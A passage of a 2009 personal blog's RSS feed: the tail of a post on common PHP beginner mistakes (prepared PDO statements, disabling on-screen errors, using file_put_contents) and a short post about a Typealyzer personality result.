$stmt-&gt;execute(array(':username' =&gt; $_POST['username'], ':password' =&gt; $_POST['password']));

$row = $stmt-&gt;fetch(PDO::FETCH_ASSOC);</pre>
<p><strong>4.</strong> Turn off error reporting in your production environment! Displaying script errors on the page is an unsettling event for your users. Even worse, an error may expose information such as database credentials. You can configure PHP so that no errors are displayed on screen with the display_errors directive. You will still want to be able to see where errors are occurring and this can be accomplished by outputting the errors to your web server&#8217;s log file. In your php.ini file set the following:</p>
<blockquote><p>display_errors = Off<br />
log_errors = On</p></blockquote>
<p><strong>5. </strong>Use what&#8217;s there! This of course gets easier with time as you learn about all of the available functions that make coding with PHP easy and fun. The file_put_contents() function, for example, bypasses the need for you to fopen(), fwrite() and fclose() a file being stored on your website.</p>
]]></content:encoded>
			<wfw:commentRss>http://davelozier.com/2009/03/11/coding-mistakes-php-newbies-make/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Analyze your Typing!</title>
		<link>http://davelozier.com/2009/03/07/type-analyzer/</link>
		<comments>http://davelozier.com/2009/03/07/type-analyzer/#comments</comments>
		<pubDate>Sat, 07 Mar 2009 21:27:34 +0000</pubDate>
		<dc:creator>Dave</dc:creator>
		
		<category><![CDATA[whatevs]]></category>

		<guid isPermaLink="false">http://davelozier.com/2009/03/07/type-analyzer/</guid>
		<description><![CDATA[I analyzed my blog with Typealyzer and it says I am of the type ISTP - The Mechanics.
The independent and problem-solving type. They are especially attuned to the demands of the moment are masters of responding to challenges that arise spontaneously. They generally prefer to think things out for themselves and often avoid inter-personal conflicts.
The [...]]]></description>
			<content:encoded><![CDATA[<p>I analyzed my blog with <a href="http://www.typealyzer.com/">Typealyzer</a> and it says I am of the type <strong>ISTP - The Mechanics</strong>.</p>
<blockquote><p>The independent and problem-solving type. They are especially attuned to the demands of the moment are masters of responding to challenges that arise spontaneously. They generally prefer to think things out for themselves and often avoid inter-personal conflicts.</p>
<p>The Mechanics enjoy working together with other independent and highly skilled people and often like seek fun and action both in their work and personal life. They enjoy adventure and risk such as in driving race cars or working as policemen and firefighters.</p></blockquote>
<p>According to Typealyzer this is my brain on blog:<br />
<img src="http://davelozier.com/wp-content/themes/davelozier/images/daves.brain.jpg" height="340" width="440" /></p>
<p>What type are you?</p>
]]></content:encoded>
			<wfw:commentRss>http://davelozier.com/2009/03/07/type-analyzer/feed/</wfw:commentRss>
		</item>
	</channel>
</rss>
